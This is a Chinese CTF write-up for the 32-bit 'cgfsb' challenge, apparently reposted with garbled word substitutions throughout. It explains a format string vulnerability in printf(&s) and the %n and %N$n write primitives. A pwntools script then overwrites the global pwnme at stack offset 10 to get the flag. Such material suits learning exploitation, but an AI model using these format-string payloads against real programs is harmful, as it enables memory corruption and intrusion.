0x01 筹备
拿到程序首先查看下文件属性,是 32 位的 elf 可执行文件,开启了 NX(将数据所在页标识为不可执行),RELRO(设置符号重定向表为只读或在程序启动时就解析并绑定所有动静符号,Partial RELRO 阐明咱们对 got 表具备写权限),Stack Canary found 阐明对栈进行了爱护,个别不可笼罩函数返回地址进行攻打。
执行函数能够看到先让咱们输出 name,再让咱们输出了 message,有输出的中央都有可能触发破绽。
0x02 操作
1、应用 ida 查看源代码,能够看到 printf(&s)处存在格式化字符串破绽。而咱们的指标是使全局变量 pwnme 处的值为 8,咱们要想方法把 8 写到 pwnme(0804A068)的地位。
2、上面咱们来剖析下格式化字符串破绽原理
失常的 printf 的函数为
printf(“test %d,test %s “,123,”test”)
函数参数压栈程序为从右向左
堆栈图如图所示
如果 printf 写成 printf(&s)的模式,那么会把 s 代表的字符串当成 format。如果 s =“%x%x%x”,就会从 format 所在地址往下读取 3 个 32bit 的值,而这三个 4 字节数据位于 main 函数的堆栈中,如图所示
咱们能够用 printf 中的 %n 来进行利用。
%n:将 %n 之前 printf 曾经打印的字符个数赋值给指针所指向的地址
%N$n:将 %n 之前 printf 曾经打印的字符个数赋值给间隔 format 所在地址向高地址偏移 N * 4 字节的地址外面的指针所指向的值(32 位程序为 32/8bit)
0x03 利用
1、查看伪代码,咱们能够看到 s 变量间隔 main 函数栈顶为 28h 个字节,即 10 进制的 40 个字节。
2、咱们输出的 message 将存在以 s 变量地址为起始的地位处。而 s 间隔 format 偏移为 10(10* 4 个字节)。咱们只有把 pwnme 的地址(4 个字节)放在 s 的起始地位,再加上 4 个字节,接着存入 %10$n,即可实现将(4+4)8 存入间隔 format 偏移 10 这个地址外面的值所指向的地址(即 pwnme 的地址)。
利用堆栈图如下:
3、代码
from pwn import *
context(os='linux', arch='i386', log_level='debug')
#sh=remote("",45107)
sh=process("./cgfsb")
elf=ELF("./cgfsb")
pwnme=elf.symbols['pwnme']
#print("%x"%pwnme)
payload=p32(pwnme)+p32(0x11111111)+b"%10$n"
sh.sendlineafter("name",str(1))
sh.sendlineafter("please",payload)
sh.interactive()
4、胜利获取到 flag